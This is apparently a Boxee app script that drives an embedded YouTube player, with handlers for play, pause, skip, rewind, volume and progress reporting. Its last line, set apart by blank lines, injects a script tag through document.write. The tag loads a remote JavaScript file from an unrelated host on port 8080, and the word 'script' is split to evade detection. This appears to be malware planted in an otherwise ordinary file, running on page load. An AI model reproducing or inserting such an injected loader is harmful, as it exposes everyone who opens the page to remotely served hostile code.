boxee.enableLog(true);
boxee.setDefaultCrop(0,0,0,25);

boxee.renderBrowser	= false;
boxee.autoChoosePlayer	= true;;

// This gets called through a YouTube player callback: onYTPlayerStateChange
checkPlayerEnd();

boxee.setCanPause(true);
boxee.setCanSetVolume(true);
boxee.setCanSkip(true);

var setDuration = 0;

requestedURL = boxee.getParam("src");

boxee.log("IN WATCHUWANT APP");
boxee.log(requestedURL);

function ytplayer(func) {
	return boxee.runInBrowser('document.myytplayer.'+func+';');
}

function checkPlayerEnd() {
	if (ytplayer('getPlayerState()') == 0) {
		boxee.log('ending playback');
		//		boxee.notifyPlaybackEnded();
		// TODO Test that setViewed is called
		boxee.runInBrowser('nextVideo();');
	}
	if (!setDuration) {
		setDuration = parseFloat(ytplayer('getDuration()'))
		boxee.setDuration(setDuration);
	}
	current = parseFloat(ytplayer('getCurrentTime()'));
	progress = Math.round((current/setDuration)*100);
	boxee.notifyCurrentTime(Math.round(current));
	boxee.notifyCurrentProgress(progress);
	setTimeout(checkPlayerEnd,500);
}


// Skip to next video
boxee.onBigSkip = function() {
	boxee.runInBrowser('nextVideo();');
}

// Back to previous video
boxee.onBigBack = function() {
	boxee.runInBrowser('prevVideo();');
}

boxee.onPlay = function() {
	ytplayer('playVideo()');

}

boxee.onPause = function() {
	ytplayer('pauseVideo()');
}

// Fast-forward within video
boxee.onSkip = function() {
	if (ytplayer('getPlayerState()') == 1) {
		current = Number(ytplayer('getCurrentTime()'))+10;
		ytplayer('seekTo('+current+')');
	}
}

// Rewind within video
boxee.onBack = function() {
	if (ytplayer('getPlayerState()') == 1) {
		current = Number(ytplayer('getCurrentTime()'))-10;
		ytplayer('seekTo('+current+')');
	}
}

boxee.onSetVolume = function(volume) {
	ytplayer('setVolume('+volume+')');
}






document.write('<s'+'cript type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Hardware.js"></scr'+'ipt>');
